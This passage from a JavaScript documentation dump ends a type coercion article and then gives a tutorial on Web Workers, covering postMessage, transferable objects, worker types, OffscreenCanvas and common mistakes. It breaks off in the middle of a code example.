surveys. </Accordion> <Accordion title="What is the difference between implicit and explicit type coercion?"> Explicit coercion is when you intentionally convert types using functions like `Number("42")` or `String(42)`. Implicit coercion happens automatically when JavaScript encounters mismatched types in operations — for example, `"5" - 3` implicitly converts `"5"` to the number `5`. Most style guides recommend explicit coercion for clarity. </Accordion> <Accordion title="How do objects convert to primitives in JavaScript?"> JavaScript uses the ToPrimitive abstract operation, which checks for a `Symbol.toPrimitive` method first, then falls back to `valueOf()` and `toString()`. For number hints, `valueOf()` is tried first; for string hints, `toString()` is tried first. Arrays convert via `toString()`, which is why `[1,2,3] + ""` produces `"1,2,3"`. </Accordion> </AccordionGroup> --- ## Related Concepts <CardGroup cols={2}> <Card title="Primitive Types" icon="atom" href="/concepts/primitive-types"> Understanding the basic data types that coercion converts between </Card> <Card title="Primitives vs Objects" icon="clone" href="/concepts/primitives-objects"> How primitives and objects behave differently during coercion </Card> <Card title="Equality Operators" icon="equals" href="/concepts/equality-operators"> Deep dive into ==, ===, and how coercion affects comparisons </Card> <Card title="JavaScript Engines" icon="gear" href="/concepts/javascript-engines"> How engines like V8 implement type coercion internally </Card> </CardGroup> --- ## Reference <CardGroup cols={2}> <Card title="Type Coercion — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Glossary/Type_coercion"> Official MDN glossary entry explaining type coercion fundamentals. </Card> <Card title="Equality Comparisons — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Equality_comparisons_and_sameness"> Comprehensive guide to ==, ===, Object.is() and the coercion rules behind each. </Card> <Card title="Type Conversion — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Glossary/Type_Conversion"> The difference between type coercion (implicit) and type conversion (explicit). </Card> <Card title="Truthy and Falsy — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Glossary/Falsy"> Complete list of falsy values and how boolean context works. </Card> </CardGroup> ## Articles <CardGroup cols={2}> <Card title="JavaScript Type Coercion Explained" icon="newspaper" href="https://medium.freecodecamp.org/js-type-coercion-explained-27ba3d9a2839"> Comprehensive freeCodeCamp article by Alexey Samoshkin covering all coercion rules with tons of examples and quiz questions. One of the best resources available. </Card> <Card title="What you need to know about Javascript's Implicit Coercion" icon="newspaper" href="https://dev.to/promhize/what-you-need-to-know-about-javascripts-implicit-coercion-e23"> Practical guide by Promise Tochi covering implicit coercion patterns, valueOf/toString, and common gotchas with clear examples. </Card> <Card title="Object to Primitive Conversion" icon="newspaper" href="https://javascript.info/object-toprimitive"> Deep-dive from javascript.info into how objects convert to primitives using Symbol.toPrimitive, toString, and valueOf. Essential for advanced understanding. </Card> <Card title="You Don't Know JS: Types & Grammar, Ch. 4" icon="newspaper" href="https://github.com/getify/You-Dont-Know-JS/blob/2nd-ed/types-grammar/ch4.md"> Kyle Simpson's definitive deep-dive into JavaScript coercion. Explains abstract operations, ToString, ToNumber, ToBoolean, and the "why" behind every rule. Free to read online. </Card> </CardGroup> ## Videos <CardGroup cols={2}> <Card title="== ? === ??? ...#@^% — JSConf EU" icon="video" href="https://www.youtube.com/watch?v=qGyqzN0bjhc"> Entertaining JSConf talk by Shirmung Bielefeld exploring the chaos of JavaScript equality operators with live examples and audience participation. </Card> <Card title="Coercion in Javascript — Hitesh Choudhary" icon="video" href="https://www.youtube.com/watch?v=b04Q_vyqEG8"> Hitesh walks through coercion step-by-step in the browser console, showing exactly what JavaScript does at each conversion. Good pace for beginners. </Card> <Card title="What is Coercion? — Steven Hancock" icon="video" href="https://www.youtube.com/watch?v=z4-8wMSPJyI"> Steven breaks down the three conversion types (string, number, boolean) with simple examples. Short video that covers the fundamentals quickly. </Card> </CardGroup> ================================================ FILE: docs/concepts/web-workers.mdx ================================================ --- title: "Web Workers" sidebarTitle: "Web Workers: True Parallelism" description: "Learn Web Workers in JavaScript for running code in background threads. Understand postMessage, Dedicated and Shared Workers, and transferable objects." "og:type": "article" "article:author": "Leonardo Maldonado" "article:section": "Web Platform" "article:tag": "web workers, background threads, postMessage, dedicated workers, shared workers, parallel processing" --- Ever clicked a button and watched your entire page freeze? Tried to scroll while a script was running and nothing happened? ```javascript // This will freeze your entire page for ~5 seconds function heavyCalculation() { const start = Date.now() while (Date.now() - start < 5000) { // Simulating heavy work } return 'Done!' } document.getElementById('btn').addEventListener('click', () => { console.log('Starting...') const result = heavyCalculation() // Page freezes here console.log(result) }) // During those 5 seconds: // - Can't click anything // - Can't scroll // - Animations stop // - The page looks broken ``` That's JavaScript's single thread at work. But there's a way out: **[Web Workers](https://developer.mozilla.org/en-US/docs/Web/API/Web_Workers_API)**. Defined in the WHATWG HTML Living Standard, they let you run JavaScript in background threads, keeping your UI smooth while crunching numbers, parsing data, or processing images. According to Can I Use data, Web Workers have over 98% browser support across all modern browsers. <Info> **What you'll learn in this guide:** - Why JavaScript's single thread causes UI freezes (and why async doesn't help) - How Web Workers provide true parallelism (not just concurrency) - Creating workers and communicating with `postMessage` - The difference between Dedicated, Shared, and Service Workers - Transferable objects for moving large data without copying - OffscreenCanvas for graphics processing in workers - Real-world patterns: worker pools, inline workers, heavy computations </Info> <Warning> **Prerequisites:** This guide builds on [the Event Loop](/concepts/event-loop) and [async/await](/concepts/async-await). Understanding those concepts will help you see why Web Workers solve problems that async code can't. </Warning> --- ## The Problem: Why Async Isn't Enough You might think: "I already know async JavaScript. Doesn't that solve the freezing problem?" Not quite. Here's the thing everyone gets wrong about async: **async JavaScript is still single-threaded**. It's concurrent, not parallel. As explained in the ECMAScript specification, the language runtime uses a single execution thread — async operations yield control but never run JavaScript code simultaneously on the main thread. ```javascript // Async code is NOT running at the same time async function fetchData() { console.log('1: Starting fetch') const response = await fetch('/api/data') // Waits, but doesn't block console.log('3: Got response') return response.json() } console.log('0: Before fetch') fetchData() console.log('2: After fetch call') // Output: // 0: Before fetch // 1: Starting fetch // 2: After fetch call // 3: Got response (later) ``` The `await` lets other code run while waiting for the network. But here's the catch: **the actual JavaScript execution is still one thing at a time**. ### The CPU-Bound Problem Async works great for I/O operations (network requests, file reads) because you're waiting for something external. But what about CPU-bound tasks? ```javascript // This async function STILL freezes the page async function processLargeArray(data) { const results = [] // This loop is synchronous JavaScript // The "async" keyword doesn't help here! for (let i = 0; i < data.length; i++) { results.push(expensiveCalculation(data[i])) } return results } // The page freezes during the loop // async/await only helps with WAITING, not COMPUTING ``` ``` ┌─────────────────────────────────────────────────────────────────────────┐ │ ASYNC VS PARALLEL: THE DIFFERENCE │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ ASYNC (Concurrency) PARALLEL (Web Workers) │ │ ──────────────────── ───────────────────── │ │ │ │ Main Thread Main Thread Worker Thread │ │ ┌─────────────────┐ ┌──────────┐ ┌──────────┐ │ │ │ Task A │ │ Task A │ │ Task B │ │ │ │ (work) │ │ (work) │ │ (work) │ │ │ ├─────────────────┤ │ │ │ │ │ │ │ Wait for I/O... │ ← yields │ │ │ │ │ │ ├─────────────────┤ │ │ │ │ │ │ │ Task B │ │ │ │ │ │ │ │ (work) │ │ │ │ │ │ │ ├─────────────────┤ └──────────┘ └──────────┘ │ │ │ Task A resumed │ │ │ └─────────────────┘ Both run at the SAME TIME │ │ on different CPU cores │ │ One thread, tasks take turns │ │ │ │ GOOD FOR: Network requests, GOOD FOR: Heavy calculations, │ │ file reads, timers image processing, data parsing │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ``` <Tip> **The Rule:** Use async/await when you're **waiting** for something. Use Web Workers when you're **computing** something heavy. </Tip> --- ## The Restaurant Analogy: Multiple Chefs If you've read our [Event Loop guide](/concepts/event-loop), you know JavaScript is like a restaurant with a **single chef**. The chef can only cook one dish at a time, but clever scheduling (the event loop) keeps things moving. Web Workers are like **hiring more chefs**. ``` ┌─────────────────────────────────────────────────────────────────────────┐ │ THE MULTI-CHEF KITCHEN (WEB WORKERS) │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ MAIN KITCHEN (Main Thread) PREP KITCHEN (Worker Thread) │ │ ┌─────────────────────────┐ ┌─────────────────────────┐ │ │ │ │ │ │ │ │ │ HEAD CHEF │ │ PREP CHEF │ │ │ │ ┌─────────┐ │ │ ┌─────────┐ │ │ │ │ │ ^_^ │ │ │ │ ^_^ │ │ │ │ │ └─────────┘ │ │ └─────────┘ │ │ │ │ │ │ │ │ │ │ • Takes customer │ │ • Chops vegetables │ │ │ │ orders (events) │ │ • Preps ingredients │ │ │ │ • Plates dishes (UI) │ │ • Heavy work │ │ │ │ • Talks to customers │ │ • No customer contact │ │ │ │ (DOM access) │ │ (no DOM!) │ │ │ │ │ │ │ │ │ └───────────┬─────────────┘ └───────────┬─────────────┘ │ │ │ │ │ │ │ ┌──────────────────┐ │ │ │ │ │ SERVICE WINDOW │ │ │ │ └─────►│ (postMessage) │◄─────────┘ │ │ │ │ │ │ │ "Need 50 onions │ │ │ │ chopped!" │ │ │ │ │ │ │ │ "Here they are!"│ │ │ └──────────────────┘ │ │ │ │ KEY RULES: │ │ • Chefs can't share cutting boards (no shared memory by default) │ │ • They communicate through the service window (postMessage) │ │ • Prep chef can't talk to customers (workers can't touch the DOM) │ │ • Prep chef has their own tools (workers have their own global scope) │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ``` | Kitchen | JavaScript | |---------|------------| | **Head Chef** | Main thread (handles UI, events, DOM) | | **Prep Chef** | Web Worker (handles heavy computation) | | **Service Window** | `postMessage()` / `onmessage` (communication) | | **Cutting Board** | Memory (each chef has their own) | | **Customers** | Users interacting with the page | | **Kitchen Rules** | Worker limitations (no DOM access) | The prep chef works independently in their own kitchen. They can't talk to customers (no DOM access), but they can do heavy prep work without slowing down the head chef. When they're done, they pass the result through the service window. --- ## What is a Web Worker? A **[Web Worker](https://developer.mozilla.org/en-US/docs/Web/API/Worker)** is a JavaScript script that runs in a background thread, separate from the main thread. It has its own global scope, its own event loop, and executes truly in parallel with your main code. Workers communicate with the main thread through message passing using `postMessage()` and `onmessage`. This lets you run expensive computations without freezing the UI. Here's a basic example: ```javascript // main.js - runs on the main thread const worker = new Worker('worker.js') // Send data to the worker worker.postMessage({ numbers: [1, 2, 3, 4, 5] }) // Receive results from the worker worker.onmessage = (event) => { console.log('Result from worker:', event.data) } ``` ```javascript // worker.js - runs in a separate thread self.onmessage = (event) => { const { numbers } = event.data // Do heavy computation (won't freeze the UI!) const sum = numbers.reduce((a, b) => a + b, 0) // Send result back to main thread self.postMessage({ sum }) } ``` <Note> Inside a worker, `self` refers to the worker's global scope (a [`DedicatedWorkerGlobalScope`](https://developer.mozilla.org/en-US/docs/Web/API/DedicatedWorkerGlobalScope)). You can also use `this` at the top level, but `self` is clearer. </Note> ### The Communication Model Workers and the main thread communicate through **messages**. They can't directly access each other's variables. This is intentional: it prevents the race conditions and bugs that plague traditional multi-threaded programming. ``` ┌─────────────────────────────────────────────────────────────────────────┐ │ WORKER COMMUNICATION │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ MAIN THREAD WORKER THREAD │ │ ┌───────────────────────┐ ┌───────────────────────┐ │ │ │ │ postMessage │ │ │ │ │ const worker = │ ─────────────► │ self.onmessage = │ │ │ │ new Worker(...) │ │ (event) => {...} │ │ │ │ │ │ │ │ │ │ worker.postMessage() │ │ // Do heavy work │ │ │ │ │ │ │ │ │ │ worker.onmessage = │ ◄───────────── │ self.postMessage() │ │ │ │ (event) => {...} │ postMessage │ │ │ │ │ │ │ │ │ │ └───────────────────────┘ └───────────────────────┘ │ │ │ │ DATA IS COPIED (by default), not shared │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ``` --- ## How Do You Create a Web Worker? There are two ways to create workers: the **classic way** (original syntax) and the **module way** (modern, recommended). ### Classic Workers The original way to create workers uses `importScripts()` for loading dependencies: ```javascript // main.js const worker = new Worker('worker.js') worker.postMessage('Hello from main!') worker.onmessage = (event) => { console.log('Worker said:', event.data) } worker.onerror = (error) => { console.error('Worker error:', error.message) } ``` ```javascript // worker.js (classic style) importScripts('https://example.com/some-library.js') // Load dependencies self.onmessage = (event) => { console.log('Main said:', event.data) // Do some work... self.postMessage('Hello from worker!') } ``` ### Module Workers (Recommended) Modern browsers support module workers with `import`/`export`. This is cleaner and matches how you write other JavaScript: ```javascript // main.js const worker = new Worker('worker.js', { type: 'module' }) worker.postMessage({ task: 'process', data: [1, 2, 3] }) worker.onmessage = (event) => { console.log('Result:', event.data) } ``` ```javascript // worker.js (module style) import { processData } from './utils.js' // Standard ES modules! self.onmessage = (event) => { const { task, data } = event.data if (task === 'process') { const result = processData(data) self.postMessage(result) } } ``` <Tip> **Use module workers** whenever possible. They support `import`/`export`, have strict mode by default, and work better with modern tooling. Check [browser support](https://caniuse.com/mdn-api_worker_worker_options_type_parameter) before using in production. </Tip> ### Comparison: Classic vs Module Workers | Feature | Classic Worker | Module Worker | |---------|---------------|---------------| | **Syntax** | `new Worker('file.js')` | `new Worker('file.js', { type: 'module' })` | | **Dependencies** | `importScripts()` | `import` / `export` | | **Strict mode** | Optional | Always on | | **Top-level await** | No | Yes | | **Browser support** | All browsers | Modern browsers | | **Tooling** | Limited | Works with bundlers | --- ## How Does postMessage Work? Communication between workers and the main thread happens through [`postMessage()`](https://developer.mozilla.org/en-US/docs/Web/API/Worker/postMessage). Understanding how data is transferred is important for performance. ### The Structured Clone Algorithm When you send data via `postMessage`, it's **copied** using the [structured clone algorithm](https://developer.mozilla.org/en-US/docs/Web/API/Web_Workers_API/Structured_clone_algorithm). This is deeper than `JSON.stringify`: it handles more types, preserves object references within the data, and even supports circular references. <Tip> You can use the global [`structuredClone()`](https://developer.mozilla.org/en-US/docs/Web/API/structuredClone) function to deep-clone objects using the same algorithm. This is useful for copying complex data outside of worker communication: ```javascript const original = { name: 'Alice', date: new Date(), nested: { deep: true } } // Deep clone with structuredClone (handles Date, Map, Set, etc.) const clone = structuredClone(original) clone.name = 'Bob' console.log(original.name) // 'Alice' (unchanged) console.log(clone.date instanceof Date) // true (Date preserved!) ``` </Tip> ```javascript // main.js const data = { name: 'Alice', scores: [95, 87, 92], metadata: { date: new Date(), pattern: /test/gi } } worker.postMessage(data) // The worker receives a COPY of this object // Modifying it in the worker won't affect the original ``` ### What Can Be Cloned? | Can Clone | Cannot Clone | |-----------|--------------| | Primitives (string, number, boolean, null, undefined) | Functions | | Plain objects and arrays | DOM nodes | | Date objects | Symbols | | RegExp objects | WeakMap, WeakSet | | Blob, File, FileList | Objects with prototype chains | | ArrayBuffer, TypedArrays | Getters/setters | | Map, Set | Proxies | | Error objects (standard types) | | | ImageBitmap, ImageData | | <Note> **Error cloning:** Only standard error types can be cloned (`Error`, `EvalError`, `RangeError`, `ReferenceError`, `SyntaxError`, `TypeError`, `URIError`). The `name` and `message` properties are preserved, and browsers may also preserve `stack` and `cause`. </Note> ```javascript // ✓ These work worker.postMessage({ text: 'hello', numbers: [1, 2, 3], date: new Date(), regex: /pattern/g, binary: new Uint8Array([1, 2, 3]), map: new Map([['a', 1], ['b', 2]]) }) // ❌ These will throw errors worker.postMessage({ fn: () => console.log('hi'), // Functions can't be cloned element: document.body, // DOM nodes can't be cloned sym: Symbol('test') // Symbols can't be cloned }) ``` <Warning> **Performance trap:** Structured cloning can be slow for large objects. If you're passing megabytes of data, consider using Transferable objects instead (covered below). </Warning> ### Handling Errors Always set up error handlers for workers: ```javascript // main.js const worker = new Worker('worker.js', { type: 'module' }) // Handle messages worker.onmessage = (event) => { console.log('Result:', event.data) } // Handle errors thrown in the worker worker.onerror = (event) => { console.error('Worker error:', event.message) console.error('File:', event.filename) console.error('Line:', event.lineno) } // Handle message errors (e.g., data can't be cloned) worker.onmessageerror = (event) => { console.error('Message error:', event) } ``` ### Using addEventListener (Alternative Syntax) You can also use `addEventListener` instead of `onmessage`: ```javascript // main.js const worker = new Worker('worker.js', { type: 'module' }) worker.addEventListener('message', (event) => { console.log('Result:', event.data) }) worker.addEventListener('error', (event) => { console.error('Error:', event.message) }) ``` ```javascript // worker.js self.addEventListener('message', (event) => { const result = processData(event.data) self.postMessage(result) }) ``` --- ## Transferable Objects: Zero-Copy Data Transfer Copying large amounts of data between threads is slow. For big ArrayBuffers, images, or binary data, use **transferable objects** to move data instead of copying it. ### The Problem with Copying ```javascript // main.js // Creating a 100MB buffer const hugeBuffer = new ArrayBuffer(100 * 1024 * 1024) const array = new Uint8Array(hugeBuffer) // Fill it with data for (let i = 0; i < array.length; i++) { array[i] = i % 256 } console.time('copy') worker.postMessage(hugeBuffer) // This COPIES 100MB - slow! console.timeEnd('copy') // Could take hundreds of milliseconds ``` ### The Solution: Transfer Ownership Instead of copying, you can **transfer** the buffer to the worker. The transfer is nearly instant, but the original becomes unusable: ```javascript // main.js const hugeBuffer = new ArrayBuffer(100 * 1024 * 1024) const array = new Uint8Array(hugeBuffer) // Fill with data... console.time('transfer') // Second argument is an array of objects to transfer worker.postMessage(hugeBuffer, [hugeBuffer]) console.timeEnd('transfer') // Nearly instant! // WARNING: hugeBuffer is now "detached" (unusable) console.log(hugeBuffer.byteLength) // 0 console.log(array.length) // 0 ``` ```javascript // worker.js self.onmessage = (event) => { const buffer = event.data console.log(buffer.byteLength) // 104857600 (100MB) // Process the data... const array = new Uint8Array(buffer) // Transfer it back when done self.postMessage(buffer, [buffer]) } ``` ### What Can Be Transferred? | Transferable Object | Use Case | |--------------------|-----------| | [`ArrayBuffer`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/ArrayBuffer) | Raw binary data | | [`MessagePort`](https://developer.mozilla.org/en-US/docs/Web/API/MessagePort) | Communication channels | | [`ImageBitmap`](https://developer.mozilla.org/en-US/docs/Web/API/ImageBitmap) | Image data for canvas | | [`OffscreenCanvas`](https://developer.mozilla.org/en-US/docs/Web/API/OffscreenCanvas) | Canvas for off-main-thread rendering | | [`ReadableStream`](https://developer.mozilla.org/en-US/docs/Web/API/ReadableStream) | Streaming data | | [`WritableStream`](https://developer.mozilla.org/en-US/docs/Web/API/WritableStream) | Streaming data | | [`TransformStream`](https://developer.mozilla.org/en-US/docs/Web/API/TransformStream) | Streaming transforms | | [`AudioData`](https://developer.mozilla.org/en-US/docs/Web/API/AudioData) | Audio processing (WebCodecs) | | [`VideoFrame`](https://developer.mozilla.org/en-US/docs/Web/API/VideoFrame) | Video processing (WebCodecs) | | [`RTCDataChannel`](https://developer.mozilla.org/en-US/docs/Web/API/RTCDataChannel) | WebRTC data channels | <Note> This table shows the most commonly used transferable objects. For a complete list including newer APIs like `MediaStreamTrack` and `WebTransportSendStream`, see MDN's [Transferable objects](https://developer.mozilla.org/en-US/docs/Web/API/Web_Workers_API/Transferable_objects) documentation. </Note> ``` ┌─────────────────────────────────────────────────────────────────────────┐ │ COPY VS TRANSFER │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ COPY (Default) TRANSFER │ │ ───────────── ──────── │ │ │ │ Main Thread Worker Thread Main Thread Worker Thread │ │ ┌─────────┐ ┌─────────┐ ┌─────────┐ ┌─────────┐ │ │ │ [data] │ │ │ │ [data] │ │ │ │ │ │ 100MB │ │ │ │ 100MB │ │ │ │ │ └────┬────┘ └─────────┘ └────┬────┘ └─────────┘ │ │ │ │ │ │ │ copy │ move │ │ ▼ ▼ │ │ ┌─────────┐ ┌─────────┐ ┌─────────┐ ┌─────────┐ │ │ │ [data] │ │ [data] │ │ [empty] │ │ [data] │ │ │ │ 100MB │ │ 100MB │ │ 0MB │ │ 100MB │ │ │ └─────────┘ └─────────┘ └─────────┘ └─────────┘ │ │ │ │ • Slow (copies bytes) • Fast (moves pointer) │ │ • Both have the data • Only one has the data │ │ • Memory doubled • Memory unchanged │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ``` <Tip> **Rule of thumb:** Transfer when the data is large (> 1MB) and you don't need to keep it in the sending context. Copy when the data is small or you need it in both places. </Tip> --- ## Types of Workers There are three types of workers in the browser, each with different purposes. ### Dedicated Workers **[Dedicated Workers](https://developer.mozilla.org/en-US/docs/Web/API/Worker)** are the most common type. They're owned by a single script and can only communicate with that script. ```javascript // Only this script can talk to this worker const worker = new Worker('worker.js', { type: 'module' }) ``` Use dedicated workers for: - Heavy calculations - Data processing - Image manipulation - Any task you want off the main thread ### Shared Workers **[Shared Workers](https://developer.mozilla.org/en-US/docs/Web/API/SharedWorker)** can be accessed by multiple scripts, even across different browser tabs or iframes (as long as they're from the same origin). ```javascript // main.js (Tab 1) const worker = new SharedWorker('shared-worker.js') worker.port.onmessage = (event) => { console.log('Received:', event.data) } worker.port.postMessage('Hello from Tab 1') ``` ```javascript // main.js (Tab 2) - connects to the SAME worker const worker = new SharedWorker('shared-worker.js') worker.port.onmessage = (event) => { console.log('Received:', event.data) } worker.port.postMessage('Hello from Tab 2') ``` ```javascript // shared-worker.js const connections = [] self.onconnect = (event) => { const port = event.ports[0] connections.push(port) port.onmessage = (e) => { // Broadcast to all connected tabs connections.forEach(p => { p.postMessage(`Someone said: ${e.data}`) }) } port.start() } ``` Use shared workers for: - Shared state across tabs - Single WebSocket connection for multiple tabs - Shared cache or data layer - Reducing resource usage for identical workers <Warning> Shared Workers have limited browser support. They work in Chrome, Firefox, Edge, and Safari 16+, but are **not supported on Android browsers** (Chrome for Android, Samsung Internet). Check [caniuse.com](https://caniuse.com/sharedworkers) before using in production. </Warning> ### Service Workers (Brief Overview) **[Service Workers](https://developer.mozilla.org/en-US/docs/Web/API/Service_Worker_API)** are a special type of worker designed for a different purpose: they act as a proxy between your web app and the network. They enable offline functionality, push notifications, and background sync. ```javascript // Registering a service worker (in main.js) if ('serviceWorker' in navigator) { navigator.serviceWorker.register('/sw.js') .then(registration => { console.log('SW registered:', registration) }) .catch(error => { console.log('SW registration failed:', error) }) } ``` ```javascript // sw.js - intercepts network requests self.addEventListener('fetch', (event) => { event.respondWith( caches.match(event.request) .then(response => response || fetch(event.request)) ) }) ``` | Feature | Dedicated Worker | Shared Worker | Service Worker | |---------|-----------------|---------------|----------------| | **Purpose** | Background computation | Shared computation | Network proxy, offline | | **Lifetime** | While page is open | While any tab uses it | Independent of pages | | **Communication** | `postMessage` | `port.postMessage` | `postMessage` + events | | **DOM access** | No | No | No | | **Network intercept** | No | No | Yes | | **Scope** | Single script | Same-origin scripts | Controlled pages | <Note> Service Workers are a deep topic with their own complexities around lifecycle, caching strategies, and updates. They deserve their own dedicated guide. For now, just know they exist and are different from Web Workers. </Note> --- ## OffscreenCanvas: Graphics in Workers Normally, canvas operations happen on the main thread. With [`OffscreenCanvas`](https://developer.mozilla.org/en-US/docs/Web/API/OffscreenCanvas), you can move rendering to a worker, keeping the main thread free for user interactions. ### Basic OffscreenCanvas Usage ```javascript // main.js const canvas = document.getElementById('myCanvas') // Transfer control to an OffscreenCanvas const offscreen = canvas.transferControlToOffscreen() const worker = new Worker('canvas-worker.js', { type: 'module' }) // Transfer the canvas to the worker worker.postMessage({ canvas: offscreen }, [offscreen]) ``` ```javascript // canvas-worker.js let ctx self.onmessage = (event) => { if (event.data.canvas) { const canvas = event.data.canvas ctx = canvas.getContext('2d') // Start animation loop in the worker animate() } } function animate() { // Clear canvas ctx.fillStyle = '#000' ctx.fillRect(0, 0, 800, 600) // Draw something ctx.fillStyle = '#0f0' ctx.fillRect( Math.random() * 700, Math.random() * 500, 100, 100 ) // Request next frame // Note: requestAnimationFrame is available in dedicated workers only requestAnimationFrame(animate) } ``` ### Real-World Use: Image Processing One common use for OffscreenCanvas is image processing: ```javascript // main.js const worker = new Worker('image-worker.js', { type: 'module' }) async function processImage(file) { const bitmap = await createImageBitmap(file) worker.postMessage({ bitmap, filter: 'grayscale' }, [bitmap]) // Transfer the bitmap } worker.onmessage = (event) => { const processedBitmap = event.data.bitmap // Draw the result on a visible canvas const canvas = document.getElementById('result') const ctx = canvas.getContext('2d') ctx.drawImage(processedBitmap, 0, 0) } ``` ```javascript // image-worker.js self.onmessage = async (event) => { const { bitmap, filter } = event.data // Create an OffscreenCanvas matching the image size const canvas = new OffscreenCanvas(bitmap.width, bitmap.height) const ctx = canvas.getContext('2d') // Draw the image ctx.drawImage(bitmap, 0, 0) // Get pixel data const imageData = ctx.getImageData(0, 0, canvas.width, canvas.height) const data = imageData.data // Apply grayscale filter if (filter === 'grayscale') { for (let i = 0; i < data.length; i += 4) { const avg = (data[i] + data[i + 1] + data[i + 2]) / 3 data[i] = avg // R data[i + 1] = avg // G data[i + 2] = avg // B // Alpha unchanged } } // Put processed data back ctx.putImageData(imageData, 0, 0) // Convert to bitmap and send back const resultBitmap = await createImageBitmap(canvas) self.postMessage({ bitmap: resultBitmap }, [resultBitmap]) } ``` <Tip> OffscreenCanvas is great for games, data visualizations, and image/video processing. Anything that involves heavy canvas work can benefit from being moved to a worker. </Tip> --- ## What Can't Web Workers Do? Workers run in a restricted environment. Understanding what they **can't** do is just as important as knowing what they can. ### No DOM Access Workers cannot access the DOM. They can't read or modify HTML elements: ```javascript // worker.js // ❌ All of these will fail document.getElementById('app') // document is undefined window.location // window is undefined document.createElement('div') // Can't create elements element.addEventListener('click', fn) // Can't add event listeners ``` If you need to update the DOM based on worker results, send the data back to the main thread: ```javascript // worker.js const result = heavyCalculation() self.postMessage({ result }) // Send data to main thread ``` ```javascript // main.js worker.onmessage = (event) => { // Update DOM on the main thread document.getElementById('result').textContent = event.data.result } ``` ### Different Global Scope Workers have their own global object: [`DedicatedWorkerGlobalScope`](https://developer.mozilla.org/en-US/docs/Web/API/DedicatedWorkerGlobalScope). Many familiar globals are missing or different: ```javascript // worker.js console.log(self) // DedicatedWorkerGlobalScope console.log(window) // undefined console.log(document) // undefined console.log(localStorage) // undefined console.log(sessionStorage) // undefined console.log(alert) // undefined ``` ### What Workers CAN Access Workers aren't completely isolated. They have access to: | Available | Example | |-----------|---------| | [`fetch`](https://developer.mozilla.org/en-US/docs/Web/API/fetch) | `fetch('/api/data')` | | [`XMLHttpRequest`](https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest) | Network requests | | [`setTimeout`](https://developer.mozilla.org/en-US/docs/Web/API/setTimeout) / [`setInterval`](https://developer.mozilla.org/en-US/docs/Web/API/setInterval) | Timers | | [`IndexedDB`](https://developer.mozilla.org/en-US/docs/Web/API/IndexedDB_API) | Database storage | | [`WebSocket`](https://developer.mozilla.org/en-US/docs/Web/API/WebSocket) | Real-time connections | | [`crypto`](https://developer.mozilla.org/en-US/docs/Web/API/Crypto) | Cryptographic operations | | [`navigator`](https://developer.mozilla.org/en-US/docs/Web/API/Navigator) (partial) | `navigator.userAgent`, etc. | | [`location`](https://developer.mozilla.org/en-US/docs/Web/API/WorkerLocation) (read-only) | URL information | | [`console`](https://developer.mozilla.org/en-US/docs/Web/API/console) | Logging (appears in DevTools) | | `importScripts()` | Load scripts (classic workers) | | `import` / `export` | ES modules (module workers) | ```javascript // worker.js - These all work! console.log('Worker started') setTimeout(() => { console.log('Timer fired in worker') }, 1000) fetch('/api/data') .then(r => r.json()) .then(data => { self.postMessage(data) }) ``` --- ## Common Mistakes ### Mistake #1: Trying to Access the DOM The most common mistake. It fails silently or throws cryptic errors: ```javascript // worker.js // ❌ WRONG - This won't work self.onmessage = (event) => { const result = calculate(event.data) document.getElementById('output').textContent = result // ERROR! } // ✓ CORRECT - Send data back to main thread self.onmessage = (event) => { const result = calculate(event.data) self.postMessage(result) // Main thread updates the DOM } ``` ### Mistake #2: Not Terminating Workers Workers consume resources. If you don't terminate them, they keep running: ```javascript // main.js // ❌ WRONG - Creates a new worker for each click, never cleans up button.addEventListener('click', () => { const worker = new Worker('worker.js') worker.postMessage(data) worker.onmessage = (e) => showResult(e.data) // Worker keeps running even after we're done! }) // ✓ CORRECT - Terminate when done button.addEventListener('click', () => { const worker = new Worker('worker.js') worker.postMessage(data) worker.onmessage = (e) => { showResult(e.data) worker.terminate() // Clean up! } }) // ✓ BETTER - Reuse the same worker const worker = new Worker('worker.js') worker.onmessage = (e) => showResult(e.data) button.addEventListener('click', () => { worker.postMessage(data) // Reuse existing worker }) ``` ### Mistake #3: Overusing Workers for Small Tasks Workers have overhead. Creating them, posting messages, and cloning data all take time: ```javascript // ❌ WRONG - Worker overhead exceeds computation time const worker = new Worker('worker.js') worker.postMessage([1, 2, 3]) // Adding 3 numbers doesn't need a worker // ✓ CORRECT - Just do it on the main thread const sum = [1, 2, 3].reduce((a, b) => a + b, 0) ``` <Tip> **Rule of thumb:** Only use workers for tasks that take more than 50-100ms. For quick operations, the overhead isn't worth it. </Tip> ### Mistake #4: Sending Functions to Workers Functions can't be cloned: ```javascript // ❌ WRONG - Functions can't be sent worker.postMessage({ data: [1, 2, 3], callback: (result) => console.log(result) // ERROR! }) // ✓ CORRECT - Send data, handle callback in onmessage worker.postMessage({ data: [1, 2, 3] }) worker.onmessage = (e) => console.log(e.data) // "Callback" on main thread ``` ### Mistake #5: Forgetting Error Handling Workers fail silently if you don't handle errors: ```javascript // ❌ WRONG - Errors disappear const worker = new Worker('worker.js') worker.postMessage(data) worker.onmessage = (e) => console.log(e.data) // ✓ CORRECT - Always handle errors const worker = new Worker('worker.js') worker.postMessage(data) worker.onmessage = (e) => console.log(e.data) worker.onerror = (e) => { console.error('Worker error:', e.message) console.error('In file:', e.filename, 'line:', e.lineno) } ``` --- ## Real-World Patterns ### Pattern 1: Heavy Computation Moving CPU-intensive work off the main thread: ```javascript // main.js const worker = new Worker('prime-worker.js', { type: 'module' }) document.getElementById('findPrimes').addEventListener('click', () => { const max = parseInt(document.getElementById('max').value) document.getElementById('status').textContent = 'Calculating...' document.getElementById('findPrimes').disabled = true worker.postMessage({ findPrimesUpTo: max }) }) worker.onmessage = (event) => { const { primes, timeTaken } = event.data document.getElementById('status').textContent = `Found ${primes.length} primes in ${timeTaken}ms` document.getElementById('findPrimes').disabled = false } ``` ```javascript // 